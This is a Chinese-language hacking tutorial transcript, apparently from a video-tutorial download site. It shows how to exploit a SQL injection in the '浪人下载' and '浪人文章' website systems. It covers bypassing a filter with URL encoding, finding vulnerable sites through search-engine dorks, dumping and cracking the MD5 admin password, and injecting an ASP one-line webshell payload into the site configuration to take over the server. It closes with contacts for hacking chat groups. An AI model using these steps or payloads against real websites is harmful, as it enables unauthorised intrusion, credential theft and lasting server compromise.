今天做的动画是浪人下载和浪人文章的0DAY漏洞利用
其实也不是什么0DAY啦，就是一个注入漏洞
浪人：www.lre.cn
大家可以快进看
先随便点一个软件下载
官方都更新到2.4了，但是还是官方自己再用，不过也有漏洞哦
把下载地址复制到明小子里面，把I改成%69
看到了吗，没有改之前是不能注入额
恭喜,该URL可以注入!
数据库类型:Access数据库

下面来讲讲关键字的搜索
下载链接若长时间无响应，请稍候再试；无法下载或是其它问题，请给我留言.....就是这一句了
在BAIDU上搜搜看

百度一下，找到相关网页约6,030篇
再看看GOOGLE
网页 约有12,800项符合
看到了吧
下面正式进入正题，我就不打字了
大家仔细看

我在本机上测试的
Admin_Info
是管理员表
密码是MD5加密的，在WWW.CMD5.COM上可以解密
郁闷。。。。不知道为什么本机老跑不出来
反正我知道密码啦，下面开始拿webshell
如果你们猜的话一定可以猜出来的
本机猜出来了
有些后台是ADMIN.ASP
还有的是LOGIN.ASP
版本不同啦
后台有两种方法拿WEBSHELL
看我演示
OK，这是第一种
下面讲第二种
在网站配置信息里
插入一句话
不是光查
<%eval request("#")%>
这样是不行的
看演示
sss"%><%eval request("#")%><%ViewMessage="c
下载说明里面写上上面的一句话
我都已经写好了
http://localhost/down/IncConfig.asp

这个是我一句话的地址
然后连接就可以了

88
邪恶领域［一］群
群号：8494875

邪恶领域［二］群
群号：5501649
补充一下
浪人文章也有一样的漏洞
88

• [VIP专用软件 - 电信高速下载][非高级会员不可下载]
• [VIP专用软件 - 双线高速下载][非高级会员不可下载]

• ☉ Delphi编程教学系列（新世纪网安基地VIP教程）
• ☉ virtualpc中的linux如何连上Internet
• ☉ ProE 2.0安装视频
• ☉ 学会利用系统自身资源
• ☉ JSP开发之一Servlet基础
• ☉ 内网架设DNS服务器详解
• ☉ 心动吧桌面图之serv-U反弹
• ☉ 小解TTL的妙用
• ☉ 免费的网络电脑
• ☉ 略施小计吓跑不怀好意的菜鸟

• ☉ 由于私服程序的特殊性，它非常容易被杀毒误报，所以自2011年1月起本站所有软件都不在做杀毒查杀，请下载后自行检测查杀！
• ☉ 为了达到最快的下载速度，推荐使用 迅雷5 下载本站软件。
• ☉ 本站软件均为WinRAR3.7版本压缩，所以请一定升级到WinRAR3.7或最新版才能正常解压本站提供的软件!
• ☉ 如果您发现下载链接错误，或内容与分类不匹配，请点击报告错误。正确报错10个我们将送您VIP会员！
• ☉ 如发现本站软件需要解压密码，均为：www.9876543210sf.com